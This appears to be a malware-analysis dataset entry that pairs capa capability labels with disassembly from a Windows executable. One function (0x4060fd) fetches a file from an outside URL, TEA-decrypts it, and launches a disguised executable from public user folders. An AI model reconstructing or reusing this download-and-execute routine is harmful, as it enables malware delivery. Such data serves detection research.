joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40249a
Capabilities:
Generate random numbers using the delphi lcg
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
mov eax, dword [ecx]
movsx edx, byte [ebp + 0xc]
xor edx, eax
push esi
mov esi, 0xff
and edx, esi
mov edx, dword [edx*4 + 0x565420]
shr eax, 8
xor edx, eax
mov eax, dword [ecx + 8]
mov dword [ecx], edx
movzx edx, dl
add edx, dword [ecx + 4]
imul edx, edx, 0x8088405
inc edx
mov dword [ecx + 4], edx
shr edx, 0x18
xor edx, eax
and edx, esi
shr eax, 8
xor eax, dword [edx*4 + 0x565420]
pop esi
mov dword [ecx + 8], eax
pop ebp
ret

Function at 0x402918
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 0x14]
push edi
mov edi, dword [ebp + 0xc]
imul edi, dword [ebp + 0x10]
cmp byte [esi], 0
je 0x40294c
push 0
lea eax, [ebp + 0x10]
push eax
push edi
push dword [ebp + 8]
push dword [esi + 4]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x402947
mov byte [esi + 8], 1
mov eax, dword [ebp + 0x10]
jmp 0x402974
mov ecx, dword [esi + 0x1c]
mov eax, dword [esi + 0x18]
lea edx, [ecx + edi]
cmp edx, eax
jbe 0x40295d
sub eax, ecx
mov edi, eax
mov eax, dword [esi + 0x14]
push edi
add eax, ecx
push eax
push dword [ebp + 8]
call fcn.005041f0
add esp, 0xc
add dword [esi + 0x1c], edi
mov eax, edi
xor edx, edx
div dword [ebp + 0xc]
pop edi
pop esi
pop ebp
ret

Function at 0x4037c4
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
mov eax, dword [0x5add40]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, dword [ebp + 0xc]
test ebx, ebx
je 0x4037f8
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x4037f8
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov al, byte [esi]
test al, al
je 0x40388f
push edi
mov edi, esi
mov ecx, esi
cmp al, 0x2f
je 0x40380f
cmp al, 0x5c
jne 0x403811
mov edi, ecx
inc ecx
mov al, byte [ecx]
test al, al
jne 0x403807
cmp edi, esi
je 0x403844
sub edi, esi
push edi
lea eax, [ebp - 0x20c]
push esi
push eax
call fcn.005041f0
lea eax, [ebp - 0x20c]
push eax
push ebx
mov byte [ebp + edi - 0x20c], 0
call fcn.004037c4
add esp, 0x14
mov byte [ebp - 0x108], 0
pop edi
test ebx, ebx
je 0x40385f
lea eax, [ebp - 0x108]
push ebx
push eax
call fcn.00505650
pop ecx
pop ecx
lea eax, [ebp - 0x108]
push esi
push eax
call fcn.00505660
pop ecx
pop ecx
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x40388f
push 0
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.00504fa3
leave
ret
Function at 0x404e60
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, ecx
cmp dword [esi], 0
jne 0x404f08
cmp dword [esi + 4], 0xffffffff
jne 0x404f08
push edi
lea edi, [esi + 0x140]
push edi
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
push edi
call fcn.00504160
mov al, byte [eax + esi + 0x13f]
pop ecx
cmp al, 0x5c
je 0x404eaf
cmp al, 0x2f
je 0x404eaf
push 0x565944
push edi
call fcn.00505660
pop ecx
pop ecx
cmp dword [ebp + 0x10], 1
pop edi
jne 0x404ed1
push 1
push 0
push 0
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
jne 0x404ed1
mov eax, 0x2000000
jmp 0x404f0d
lea eax, [ebp + 0x10]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.0040273d
add esp, 0x10
test eax, eax
jne 0x404eef
mov eax, dword [ebp + 0x10]
jmp 0x404f0d
push eax
call fcn.00404938
mov dword [esi], eax
neg eax
sbb eax, eax
and eax, 0xfffffe00
pop ecx
add eax, 0x200
jmp 0x404f0d
mov eax, 0x1000000
pop esi
pop ebp
ret 0xc
Function at 0x405d93
Capabilities:
Check mutex on windows

Disassembly:
push ebp
mov ebp, esp
push esi
push dword [ebp + 8]
mov esi, ecx
push 0
push 0
mov dword [esi], vtable.vmsSingleInstance.0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [esi + 4], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x405dc9
push dword [esi + 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
and dword [esi + 4], 0
mov eax, esi
pop esi
pop ebp
ret 4

Function at 0x405e67
Capabilities:
Encode data using xor
Encrypt data using tea

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 8]
mov edx, dword [eax]
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax]
mov eax, dword [ebp + 0x10]
push esi
push edi
mov edi, dword [eax + 0xc]
mov dword [ebp - 0xc], edi
mov edi, dword [eax + 8]
mov dword [ebp - 8], edi
mov edi, dword [eax + 4]
mov eax, dword [eax]
mov esi, 0xf1bbcdc8
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x10], eax
mov dword [ebp - 4], 8
mov eax, edx
shl eax, 4
add eax, dword [ebp - 8]
mov edi, edx
shr edi, 5
add edi, dword [ebp - 0xc]
xor eax, edi
lea edi, [edx + esi]
xor eax, edi
sub ecx, eax
mov eax, ecx
shl eax, 4
add eax, dword [ebp - 0x10]
mov edi, ecx
shr edi, 5
add edi, dword [ebp - 0x14]
xor eax, edi
lea edi, [ecx + esi]
xor eax, edi
sub edx, eax
add esi, 0x61c88647
dec dword [ebp - 4]
jne 0x405e9f
mov eax, dword [ebp + 8]
mov dword [eax], edx
mov eax, dword [ebp + 0xc]
pop edi
mov dword [eax], ecx
pop esi
leave
ret

Function at 0x405f21
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
push edi
push 0x565be8
push dword [ebp + 0xc]
lea eax, [ebp - 4]
push eax
call fcn.00505192
push 2
xor esi, esi
push esi
push dword [ebp - 4]
call fcn.00507c0a
push dword [ebp - 4]
call fcn.00507b1b
push esi
push esi
push dword [ebp - 4]
mov edi, eax
call fcn.00507c0a
push edi
call fcn.00406395
push dword [ebp - 4]
mov esi, eax
push edi
push 1
push esi
call fcn.0050796a
push dword [ebp - 4]
mov edi, eax
call fcn.00504aff
add esp, 0x40
push dword [ebp + 8]
push edi
push esi
call fcn.00405eea
push 0x563f04
push dword [ebp + 0x10]
lea eax, [ebp - 8]
push eax
call fcn.00505192
push dword [ebp - 8]
push edi
push 1
push esi
call fcn.00504a18
push dword [ebp - 8]
call fcn.00504aff
push esi
call fcn.0040638a
add esp, 0x30
pop edi
pop esi
leave
ret
Function at 0x405fb7
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x134
mov eax, dword [0x5add40]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
mov edi, dword [ebp + 8]
push 0x563f07
push ebx
call fcn.0040533d
mov esi, eax
pop ecx
pop ecx
test esi, esi
jne 0x405fea
xor eax, eax
jmp 0x406061
push edi
push esi
call fcn.004038dd
pop ecx
pop ecx
test eax, eax
je 0x406000
push esi
call fcn.004053a6
pop ecx
jmp 0x405fe6
lea eax, [ebp - 0x130]
push eax
push 0xffffffffffffffff
push esi
call fcn.0040389d
add esp, 0xc
test eax, eax
jne 0x405ff7
mov eax, dword [ebp - 0x130]
xor edi, edi
mov dword [ebp - 0x134], eax
test eax, eax
jle 0x406050
lea eax, [ebp - 0x130]
push eax
push edi
push esi
call fcn.0040389d
lea eax, [ebp - 0x12c]
push eax
push edi
push esi
call fcn.0040538c
add esp, 0x18
inc edi
cmp edi, dword [ebp - 0x134]
jl 0x406028
push esi
call fcn.004053a6
pop ecx
push ebx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
xor eax, eax
inc eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00504fa3
leave
ret

Function at 0x4060fd
Capabilities:
Create process on windows

Disassembly:
push 0x190
mov eax, 0x555aca
call fcn.0050501e
xor ebx, ebx
push ebx
call fcn.0040c61e
pop ecx
push ebx
call dword [sym.imp.ole32.dll_CoInitialize]
lea ecx, [ebp - 0x19c]
call fcn.004012fb
mov edi, str.C:UsersPublicMusicherthren.dat
push edi
lea ecx, [ebp - 0x138]
mov dword [ebp - 4], ebx
call fcn.0040153d
push str.http:__download.linuxroot.site_download_4130.dat
lea ecx, [ebp - 0x154]
mov byte [ebp - 4], 1
call fcn.0040153d
lea eax, [ebp - 0x138]
push eax
lea eax, [ebp - 0x154]
push eax
lea ecx, [ebp - 0x19c]
mov byte [ebp - 4], 2
call fcn.00401649
push ebx
push 1
lea ecx, [ebp - 0x154]
call fcn.00401152
push ebx
push 1
lea ecx, [ebp - 0x138]
mov byte [ebp - 4], bl
call fcn.00401152
lea ecx, [ebp - 0x19c]
call fcn.0040112c
mov esi, str.C:UsersPublicMusicdggde.dat
push esi
push edi
push str.4gUIxbPjlPWBlcLwF00
mov dword [ebp - 0x18], 0x6e65706f
mov byte [ebp - 0x14], bl
call fcn.00405f21
push esi
mov esi, str.C:UsersPublicPictures
push esi
call fcn.00405fb7
push str.hideCheckServerTcs.exe
push esi
call fcn.00505660
add esp, 0x1c
push 5
push ebx
push 0x563f07
push esi
lea eax, [ebp - 0x18]
push eax
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 0x103
lea eax, [ebp - 0x11b]
push ebx
push eax
mov byte [ebp - 0x11c], bl
call fcn.005053d0
add esp, 0xc
push 0x104
lea eax, [ebp - 0x11c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x11c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameA]
push eax
mov esi, str.C:UsersPublic_
push esi
call fcn.00505660
pop ecx
pop ecx
push esi
mov eax, 0x565bec
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x19c]
call fcn.004013e8
xor eax, eax
call fcn.005050a1
ret
Function at 0x40c231
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
xor ebx, ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 4], ebx
cmp dword [ebp + 0xc], ebx
je 0x40c279
call fcn.00406c5f
mov esi, dword [eax + 0xc]
push pe_nt_image_headers32
push dword [ebp + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
je 0x40c279
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 4], eax
test eax, eax
je 0x40c2bc
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
mov esi, dword [ebp + 8]
mov dword [ebp + 0xc], 1
test ebx, ebx
je 0x40c2a5
push dword [ebp + 0x10]
mov eax, dword [edi]
push ebx
push esi
mov ecx, edi
call dword [eax + 0x20]
cmp dword [ebp - 4], 0
mov dword [ebp + 0xc], eax
je 0x40c2a5
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FreeResource]
cmp dword [esi + 0x68], 0
je 0x40c2b9
mov ecx, dword [esi + 0x68]
push dword [ebp + 0x10]
mov eax, dword [ecx]
call dword [eax + 0xa0]
mov eax, dword [ebp + 0xc]
pop edi
pop esi
pop ebx
leave
ret 0xc

Function at 0x40d574
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
xor ebx, ebx
call fcn.00406c5f
mov esi, dword [eax + 0xc]
push 5
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
je 0x40d5ad
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
mov ecx, dword [ebp - 4]
push esi
push dword [ebp + 0xc]
push ebx
call fcn.0040d1b6
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret 8

Function at 0x40d60b
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, ecx
mov dword [edi + 0x78], ebx
test ebx, 0xffff0000
jne 0x40d62f
cmp dword [edi + 0x74], 0
jne 0x40d62f
movzx eax, bx
mov dword [edi + 0x74], eax
call fcn.00406c5f
mov esi, dword [eax + 0xc]
push 5
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push dword [ebp + 0xc]
mov ebx, eax
push ebx
mov ecx, edi
call fcn.0040d5cc
push ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
mov eax, esi
pop esi
pop ebx
pop ebp
ret 8
Function at 0x4137eb
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor ebx, ebx
xor edi, edi
mov dword [ebp - 4], ecx
cmp dword [ebp + 8], ebx
je 0x413832
call fcn.00406c5f
mov esi, dword [eax + 0xc]
push pe_nt_image_headers32
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
je 0x413832
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebx, eax
test ebx, ebx
je 0x41384e
push ebx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
mov ecx, dword [ebp - 4]
push edi
call fcn.004132f0
mov esi, eax
test edi, edi
je 0x41384c
test ebx, ebx
je 0x41384c
push ebx
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x414005
Capabilities:
Get graphical window text

Disassembly:
push 4
mov eax, 0x557fe7
call fcn.00504fb2
mov esi, ecx
cmp dword [esi + 0x6c], 0
jne 0x41402a
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [esi + 0x20]
call dword [sym.imp.USER32.dll_GetWindowTextA]
jmp 0x41407c
call fcn.00407d44
push eax
lea ecx, [ebp - 0x10]
call fcn.0040566e
mov ecx, dword [esi + 0x6c]
mov eax, dword [ecx]
and dword [ebp - 4], 0
lea edx, [ebp - 0x10]
push edx
call dword [eax + 0x8c]
push 0xffffffffffffffff
push dword [ebp - 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.0050813b
push eax
call fcn.004053fb
add esp, 0x14
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, dword [ebp - 0x10]
add ecx, 0xfffffff0
mov esi, eax
call fcn.00405511
mov eax, esi
call fcn.0050508d
ret 8
Function at 0x428c69
Capabilities:
Get graphical window text

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push edi
push dword [ebp + 0xc]
mov ecx, esi
call fcn.00428928
cmp dword [esi], 0
mov edi, eax
mov dword [esi + 0xc], 1
je 0x428cb3
push edi
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [ebp + 0x10]
push eax
call fcn.00407c3e
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [ebp + 0x10]
push 0xffffffffffffffff
call fcn.00405641
jmp 0x428cbe
mov eax, dword [ebp + 0x10]
push dword [eax]
push edi
call fcn.00419885
pop edi
pop esi
pop ebp
ret 0xc

Function at 0x428cc4
Capabilities:
Get graphical window text

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
mov ecx, dword [esi + 4]
lea eax, [ebp + 8]
push eax
push dword [ebp + 0xc]
call fcn.004138f7
push 0xfffffffffffffff0
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_GetWindowLongA]
push dword [ebp + 0xc]
and eax, 3
mov ecx, esi
cmp al, 3
je 0x428d01
call fcn.00428928
mov dword [esi + 0xc], 1
jmp 0x428d06
call fcn.00428928
cmp dword [esi], 0
je 0x428d4f
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
test eax, eax
jle 0x428d27
lea ecx, [eax + 1]
push ecx
mov ecx, dword [ebp + 0x10]
push eax
call fcn.00407c3e
jmp 0x428d39
mov ecx, dword [ebp + 0x10]
push 0xff
call fcn.004057c1
push 0x100
push eax
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [ebp + 0x10]
push 0xffffffffffffffff
call fcn.00405641
jmp 0x428d73
mov esi, dword [ebp + 0x10]
push dword [esi]
push 0xffffffffffffffff
push 0x14d
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_SendMessageA]
cmp eax, 0xffffffff
jne 0x428d73
push dword [esi]
push dword [ebp + 8]
call fcn.00419885
pop esi
pop ebp
ret 0xc

Function at 0x454f5b
Capabilities:
Get common file path

Disassembly:
mov edi, edi
push esi
mov esi, ecx
call fcn.004db95a
call fcn.0040667c
cmp dword [eax + 0x14], 0
jne 0x454f78
mov ecx, esi
pop esi
jmp fcn.00454a60
pop esi
ret

Function at 0x4584fa
Capabilities:
Get common file path
Get file system object information

Disassembly:
mov edi, edi
push esi
mov esi, ecx
call fcn.0047a308
call fcn.0040667c
cmp dword [eax + 0x14], 0
jne 0x458517
mov ecx, esi
pop esi
jmp fcn.00457ecd
pop esi
ret
Function at 0x49027a
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push esi
mov esi, dword [ebp + 0xc]
push edi
mov dword [ebp - 4], ecx
test esi, esi
jne 0x490294
call fcn.00406c5f
mov esi, dword [eax + 0xc]
push dword [0x5ba5b4]
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x4902b2
xor eax, eax
pop edi
pop esi
leave
ret 8
push edi
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp + 0xc], eax
test eax, eax
je 0x4902aa
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
test ebx, ebx
jne 0x4902df
xor esi, esi
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
pop ebx
jmp 0x4902ac
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [ebp - 4]
push eax
push ebx
call fcn.004901a8
mov esi, eax
jmp 0x4902d1

Function at 0x4e4f6c
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ebx
push esi
mov esi, dword [ebp + 8]
test byte [esi + 4], 1
push edi
mov ebx, ecx
je 0x4e4f84
mov edi, dword [esi + 0xc]
jmp 0x4e4fc4
push 5
push dword [esi + 0xc]
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x4e4f9d
call fcn.004185c8
push edi
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
jne 0x4e4fb2
call fcn.004185c8
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
test edi, edi
jne 0x4e4fc4
call fcn.004185c8
call fcn.00406c5f
cmp dword [eax + 0x3c], 0
je 0x4e4fd9
push edi
mov ecx, ebx
call fcn.004e3e2a
mov edi, eax
push dword [ebp + 0xc]
push edi
call fcn.004e4e86
mov dword [ebp + 8], eax
mov eax, dword [ebx + 0x7c]
test eax, eax
je 0x4e4ff7
push eax
call dword [sym.imp.KERNEL32.dll_GlobalFree]
and dword [ebx + 0x7c], 0
mov eax, dword [ebp + 8]
test eax, eax
je 0x4e5003
mov edi, eax
mov dword [ebx + 0x7c], eax
or dword [esi + 4], 1
mov dword [esi + 0xc], edi
pop edi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x504fa3
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x5add40]
jne 0x504fad
repz ret
jmp fcn.0050e70c
Function at 0x51aa79
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x5add40]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.0050e109
and dword [ebp - 0x14], 0
cmp dword [0x5bcb3c], 0
mov dword [ebp - 0x18], eax
jne 0x51ab2c
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x51abd4
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x51abd4
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push 0x58ccb0
push ebx
mov dword [0x5bcb3c], eax
call edi
push eax
call esi
push 0x58cc9c
push ebx
mov dword [0x5bcb40], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x5bcb44], eax
call edi
push eax
call esi
mov dword [0x5bcb4c], eax
test eax, eax
je 0x51ab2c
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x5bcb48], eax
mov eax, dword [0x5bcb48]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x51ab85
cmp dword [0x5bcb4c], ecx
je 0x51ab85
push eax
call esi
push dword [0x5bcb4c]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x51ab85
test ebx, ebx
je 0x51ab85
call edi
test eax, eax
je 0x51ab7c
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x51ab7c
test byte [ebp - 8], 1
jne 0x51ab85
or dword [ebp + 0x10], 0x200000
jmp 0x51abb8
mov eax, dword [0x5bcb40]
cmp eax, dword [ebp - 0x18]
je 0x51abb8
push eax
call esi
test eax, eax
je 0x51abb8
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x51abb8
mov eax, dword [0x5bcb44]
cmp eax, dword [ebp - 0x18]
je 0x51abb8
push eax
call esi
test eax, eax
je 0x51abb8
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x5bcb3c]
call esi
test eax, eax
je 0x51abd4
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x51abd6
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00504fa3
leave
ret

Function at 0x51e400
Capabilities:
Initialize winsock library

Disassembly:
sub esp, 0x190
lea eax, [esp]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x51e43a
mov ax, word [esp]
cmp al, 2
jne 0x51e434
xor ecx, ecx
mov cl, ah
cmp cl, al
jne 0x51e434
xor eax, eax
add esp, 0x190
ret
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 2
add esp, 0x190
ret
Function at 0x52a800
Capabilities:
Send data
Send data on socket

Disassembly:
mov eax, dword [esp + 8]
push ebx
push ebp
push esi
mov esi, dword [esp + 0x10]
push edi
push eax
push esi
mov edi, dword [esi + eax*4 + 0x190]
call fcn.0052a890
mov eax, dword [esp + 0x28]
mov ecx, dword [esp + 0x24]
add esp, 8
push 0
push eax
push ecx
push edi
call dword [sym.imp.WS2_32.dll_send]
mov ebx, dword [esp + 0x24]
mov edi, eax
cmp edi, 0xffffffff
mov dword [ebx], 0
jne 0x52a884
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov ebp, eax
cmp ebp, 0x2733
jne 0x52a85e
pop edi
pop esi
mov dword [ebx], 0x51
pop ebp
xor eax, eax
pop ebx
ret
push ebp
push esi
call fcn.0052fcc0
mov edx, dword [esi]
push eax
push str.Send_failure:__s
push edx
call fcn.0052a610
mov eax, dword [esi]
add esp, 0x14
mov dword [eax + 0x4724], ebp
mov dword [ebx], 0x37
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
ret

Function at 0x52a890
Capabilities:
Receive data
Receive data on socket

Disassembly:
mov ecx, dword [esp + 8]
mov eax, dword [esp + 4]
mov edx, ecx
push ebx
shl edx, 4
push esi
push edi
mov edi, dword [edx + eax + 0x1bc]
lea esi, [edx + eax + 0x1b8]
mov ebx, dword [eax + ecx*4 + 0x190]
mov edx, dword [esi + 8]
sub edi, edx
mov edx, dword [eax + 0x308]
test byte [edx + 0x3c], 3
je 0x52a952
cmp dword [eax + ecx*4 + 0x1a8], 0x52a9a0
jne 0x52a952
cmp dword [esi], 0
je 0x52a8e0
test edi, edi
je 0x52a952
push 0
push 0xffffffffffffffff
push 0xffffffffffffffff
push ebx
call fcn.0051e7d0
add esp, 0x10
cmp eax, 0xffffffff
je 0x52a952
test al, 1
je 0x52a952
cmp dword [esi], 0
jne 0x52a925
push 0x8000
mov dword [esi + 4], 0x8000
call dword [0x5af224]
mov edi, dword [esi + 4]
add esp, 4
mov dword [esi], eax
mov dword [esi + 8], 0
mov dword [esi + 0xc], 0
mov eax, dword [esi]
test eax, eax
je 0x52a94b
mov ecx, dword [esi + 8]
push 0
add eax, ecx
push edi
push eax
push ebx
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x52a952
mov ecx, dword [esi + 8]
pop edi
add ecx, eax
mov dword [esi + 8], ecx
pop esi
pop ebx
ret
mov dword [esi + 4], 0
pop edi
pop esi
pop ebx
ret

Function at 0x52ad80
Capabilities:
Receive data
Receive data on socket

Disassembly:
mov eax, dword [esp + 0xc]
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
push 0
push eax
push ecx
push edx
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
jne 0x52adb1
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
sub eax, 0x2733
neg eax
sbb eax, eax
and al, 0xe7
add eax, 0x51
ret
mov ecx, dword [esp + 0x10]
mov dword [ecx], eax
xor eax, eax
ret